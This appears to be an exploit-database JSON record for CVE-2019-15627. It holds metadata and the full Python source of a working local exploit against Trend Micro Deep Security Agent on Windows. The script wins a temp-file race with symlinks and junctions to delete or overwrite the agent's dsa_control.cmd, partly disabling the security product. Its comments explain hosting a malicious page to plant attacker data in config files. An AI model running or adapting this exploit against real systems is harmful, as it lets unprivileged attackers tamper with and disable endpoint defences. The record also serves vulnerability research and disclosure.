{"exploit":{"id":"EDB-47751","name":"Trend Micro Deep Security Agent 11 - Arbitrary File Overwrite","description":"Trend Micro Deep Security Agent 11 - Arbitrary File Overwrite","cves":["CVE-2019-15627"],"author":"Peter Lapp","published":"2019-12-06","platform":"windows","type":"local","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/47751","path":"exploits/windows/local/47751.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-47751.py","vulnerabilities":[{"id":"CVE-2019-15627","state":"PUBLISHED","title":null,"titleSource":null,"description":"Versions 10.0, 11.0 and 12.0 of the Trend Micro Deep Security Agent are vulnerable to an arbitrary file delete attack, which may lead to availability impact. Local OS access is required. Please note that only Windows agents are affected.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2019-15627","cvss":{"version":"3.1","baseScore":7.1,"severity":"high","vectorString":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2019-15627"},"updatedAt":"2024-08-05T00:56:21.684Z","retrievedAt":"2026-11-26T13:08:02.289Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-47751.png?v=2","url":"https://exploitbin.com/exploits/EDB-47751","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-47751/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-47751/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Trend Micro Deep Security Agent 11 - Arbitrary File Overwrite\n# Exploit Author : Peter Lapp\n# Exploit Date: 2019-12-05\n# Vendor Homepage :  https://www.trendmicro.com/en_us/business.html\n# Link Software : https://help.deepsecurity.trendmicro.com/software.html?regs=NABU&prodid=1716\n# Tested on OS: v11.0.582 and v10.0.3186 on Windows Server 2012 R2, 2008R2, and 7 Enterprise.\n# CVE: 2019-15627\n\n# CVE-2019-15627 - Trend Micro Deep Security Agent Local File Overwrite Exploit by Peter Lapp (lappsec)\n\n# This script uses the symboliclink-testing-tools project, written by James Forshaw ( https://github.com/googleprojectzero/symboliclink-testing-tools )\n# The vulnerability allows an unprivileged local attacker to delete any file on the filesystem, or overwrite it with abritrary data hosted elsewhere (with limitations)\n# This particular script will attempt to overwrite the file dsa_control.cmd with arbitrary data hosted on an external web server, partly disabling TMDS,\n# even when agent self-protection is turned on. It can also be modified/simplified to simply delete the target file, if desired.\n\n# When TMDS examines javascript it writes snippets of it to a temporary file, which is locked and then deleted almost immediately.\n# The names of the temp files are sometimes reused, which allows us to predict the filename and redirect to another file.\n# While examining the JS, it generally strips off the first 4096 bytes or so, replaces those with spaces, converts the rest to lowercase and writes it to the temp file.\n# So the attacker can host a \"malicious\" page that starts with the normal html and script tags, then fill the rest of the ~4096 bytes with garbage,\n# then the payload to be written, then a few hundred trailing spaces (not sure why, but they are needed). The resulting temp file will start with 4096 spaces,\n# and then the lowercase payload. Obviously this has some limitations, like not being able to write binaries, but there are plenty of config files that\n# are ripe for the writing that can then point to a malicious binary.\n\n# Usage:\n# 1. First you'd need to host your malicious file somewhere. If you just want to delete the target file or overwrite it with garbage, skip this part.\n# 2. Open a browser (preferrably IE) and start the script\n# 3. Browse to your malicious page (if just deleting the target file, browse to any page with javascript).\n# 4. Keep refreshing the page until you see the script create the target file overwritten.\n#\n# It's a pretty dumb/simple script and won't work every time, so if it doesn't work just run it again. Or write a more reliable exploit.\n\n\nimport time\nimport os\nimport subprocess\nimport sys\nimport webbrowser\nfrom watchdog.observers import Observer\nfrom watchdog.events import FileSystemEventHandler\n\nclass Stage1_Handler(FileSystemEventHandler):\n\tdef __init__(self):\n\t\tself.filenames = []\n\tdef on_created(self, event):\n\t\tfilename = os.path.basename(event.src_path)\n\t\tif filename in self.filenames:\n\t\t\tprint ('Starting symlink creation.')\n\t\t\twatcher1.stop()\n\t\t\tsymlinkery(self.filenames)\n\t\telse:\n\t\t\tself.filenames.append(filename)\n\t\t\tprint ('File %s created.') % filename\n\nclass Stage2_Handler(FileSystemEventHandler):\n\tdef on_any_event(self, event):\n\t\tif os.path.basename(event.src_path) == 'dsa_control.cmd':\n\t\t\tprint \"Target file overwritten/deleted. Cleaning up.\"\n\t\t\tsubprocess.Popen(\"taskkill /F /T /IM CreateSymlink.exe\", shell=True)\n\t\t\tsubprocess.Popen(\"taskkill /F /T /IM Baitandswitch.exe\", shell=True)\n\t\t\tos.system('rmdir /S /Q \"C:\\\\ProgramData\\\\Trend Micro\\\\AMSP\\\\temp\\\\\"')\n\t\t\tos.system('rmdir /S /Q \"C:\\\\test\"')\n\t\t\tos.rename('C:\\\\ProgramData\\\\Trend Micro\\\\AMSP\\\\temp-orig','C:\\\\ProgramData\\\\Trend Micro\\\\AMSP\\\\temp')\n\t\t\twatcher2.stop()\n\t\t\tsys.exit(0)\n\nclass Watcher(object):\n\tdef __init__(self, event_handler, path_to_watch):\n\t\tself.event_handler = event_handler\n\t\tself.path_to_watch = path_to_watch\n\t\tself.observer = Observer()\n\tdef run(self):\n\t\tself.observer.schedule(self.event_handler(), self.path_to_watch)\n\t\tself.observer.start()\n\t\ttry:\n\t\t\twhile True:\n\t\t\t\ttime.sleep(1)\n\t\texcept KeyboardInterrupt:\n\t\t\tself.observer.stop()\n\n\t\tself.observer.join()\n\tdef stop(self):\n\t\tself.observer.stop()\n\ndef symlinkery(filenames):\n\tprint \"Enter symlinkery\"\n\tfor filename in filenames:\n\t\tprint \"Creating symlink for %s\" % filename\n\t\tcmdname = \"start cmd /c CreateSymlink.exe \\\"C:\\\\test\\\\virus\\\\%s\\\" \\\"C:\\\\test\\\\test\\\\symtarget\\\"\" % filename\n\t\tsubprocess.Popen(cmdname, shell=True)\n\tos.rename('C:\\\\ProgramData\\\\Trend Micro\\\\AMSP\\\\temp','C:\\\\ProgramData\\\\Trend Micro\\\\AMSP\\\\temp-orig')\n\tos.system('mklink /J \"C:\\\\ProgramData\\\\Trend Micro\\\\AMSP\\\\temp\" C:\\\\test')\n\twatcher2.run()\n\tprint \"Watcher 2 started\"\n\ntry:\n        os.mkdir('C:\\\\test')\nexcept:\n        pass\n\npath1 = 'C:\\\\ProgramData\\\\Trend Micro\\\\AMSP\\\\temp\\\\virus'\npath2 = 'C:\\\\Program Files\\\\Trend Micro\\\\Deep Security Agent\\\\'\nwatcher1 = Watcher(Stage1_Handler,path1)\nwatcher2 = Watcher(Stage2_Handler,path2)\nswitcheroo = \"start cmd /c BaitAndSwitch.exe C:\\\\test\\\\test\\\\symtarget \\\"C:\\\\Program Files\\\\Trend Micro\\\\Deep Security Agent\\\\dsa_control.cmd\\\" \\\"C:\\\\windows\\\\temp\\\\deleteme.txt\\\" d\"\nsubprocess.Popen(switcheroo, shell=True)\nwatcher1.run()","sha256":"86e139f57fe8de2e04a6786107226dcdc93920b8d4b5627f151948f6bc336eb4","bytes":5190,"fetchedAt":"2026-11-26T13:08:02.077Z","encoding":"utf-8 (display only; download retains original bytes)"}